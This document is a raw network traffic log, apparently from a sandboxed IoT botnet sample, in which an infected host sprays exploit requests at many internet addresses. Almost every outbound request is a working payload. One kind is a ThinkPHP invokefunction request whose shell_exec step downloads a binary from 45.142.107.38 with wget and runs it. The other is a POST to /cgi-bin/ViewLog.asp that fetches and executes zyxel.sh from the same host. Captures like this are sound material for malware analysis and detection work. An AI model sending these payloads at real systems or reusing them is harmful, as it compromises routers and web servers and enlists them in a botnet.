Mar 4, 2024 15:08:27.606488943 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:27.765165091 CET	321	IN	HTTP/1.1 400 Bad Request Server: bks350 Date: Mon, 04 Mar 2024 14:08:27 GMT Content-Type: text/html Content-Length: 163 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 30 33 2e 31 32 2e 30 34 2e 34 33 36 31 30 39 38 38 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>03.12.04.436109884</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.13	56278	95.100.57.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:27.629070044 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:27.811201096 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:08:27 GMT Date: Mon, 04 Mar 2024 14:08:27 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 63 66 39 30 61 31 37 26 23 34 36 3b 31 37 30 39 35 36 31 33 30 37 26 23 34 36 3b 35 37 39 34 32 39 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.6cf90a17.1709561307.5794294</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.13	46876	95.115.105.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:27.637115955 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:27.827541113 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:27 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.13	48590	95.175.10.199	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:27.645159960 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:27.853463888 CET	21	IN	HTTP/1.1 Data Raw: Data Ascii:
Mar 4, 2024 15:08:27.856275082 CET	742	IN	Data Raw: 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 0d 0a 53 65 72 76 65 72 3a 20 52 6f 75 74 65 72 20 57 65 62 73 65 72 76 65 72 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 57 57 57 2d 41 75 74 68 65 6e 74 69 63 61 74 65 Data Ascii: 501 Not ImplementedServer: Router WebserverConnection: closeWWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"Content-Type: text/html<Script language=JavaScript>var errorCode = 501;var errorNote = "<p>File not foun

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.13	53414	88.208.196.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:27.765712023 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:27.925570011 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:27 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.13	40724	88.102.141.20	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:27.792069912 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.13	34714	88.80.148.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:27.798959017 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:27.991379976 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.13	34728	88.80.148.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:28.184914112 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.13	37392	88.99.112.236	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:30.568303108 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:30.743880033 CET	419	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:30 GMT Server: Apache/2.4.6 (CentOS) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.13	46972	88.214.237.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:30.954591036 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:31.162751913 CET	516	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 13:07:49 GMT Server: Apache/2.2.22 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 240 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f 41 4b 03 31 10 85 ef fb 2b c6 9e f4 60 66 bb f4 e0 21 04 b4 bb c5 c2 5a 17 4d 0f 1e 53 33 92 40 9b c4 24 ab f5 df 9b dd 22 c8 c0 c0 cc bc ef f1 86 5f b5 cf 6b f9 36 74 f0 28 9f 7a 18 f6 0f fd 76 0d 8b 5b c4 6d 27 37 88 ad 6c 2f 97 86 d5 88 dd 6e 21 2a 6e f2 e9 28 b8 21 a5 cb 90 6d 3e 92 58 d5 2b d8 f9 0c 1b 3f 3a cd f1 b2 ac 38 ce 22 7e f0 fa 67 e2 96 e2 9f a6 4c 15 0f 42 1a 82 48 9f 23 a5 4c 1a f6 2f 3d a0 75 9a ce 2c 98 00 df 2a 81 2b c8 c7 84 80 77 90 8d 4d 90 28 7e 51 64 1c c3 64 1a 4b 53 5a 47 4a 49 dc 07 f5 6e 08 1b 56 aa 81 eb 96 0e 56 b9 1b 78 9d 01 50 19 4e e7 25 f3 81 5c 1c 53 b2 8a 39 ca 30 f8 98 e1 ae e6 f8 67 52 62 cf 81 4b c4 e9 d1 ea 17 66 c5 de c5 23 01 00 00 Data Ascii: MAK1+`f!ZMS3@$"_k6t(zv[m'7l/n!n(!m>X+?:8"~gLBH#L/=u,+wM(~QddKSZGJInVVxPN%\S90gRbKf#

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.13	52598	112.183.141.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:31.699462891 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:32.559643030 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:32.849725962 CET	506	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Mon, 04 Mar 2024 14:08:31 GMT Server: httpd Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.13	60538	94.121.220.150	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:33.011075020 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.13	42812	88.96.184.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:33.179199934 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.13	46588	31.136.207.215	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:33.189778090 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:33.750891924 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:34.841566086 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:37.239233017 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:41.600100994 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:50.294855118 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.13	43312	62.68.119.79	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:33.203049898 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:33.658041000 CET	195	IN	HTTP/1.1 200 OK Cache-control:no-cache, no-store, max-age=0 Content-Type:text/html Pragma:no-cache Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.13	48089	95.154.16.100	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:33.930810928 CET	33	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 75 66 4b 36 73 57 57 32 35 46 34 43 73 37 43 45 57 34 4d 4d 3f 29 Data Ascii: (Ref.Id: ?sufK6sWW25F4Cs7CEW4MM?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.13	49422	31.34.253.127	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:33.946176052 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:36.982825041 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.13	43002	31.136.14.136	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:33.961595058 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:36.982836008 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
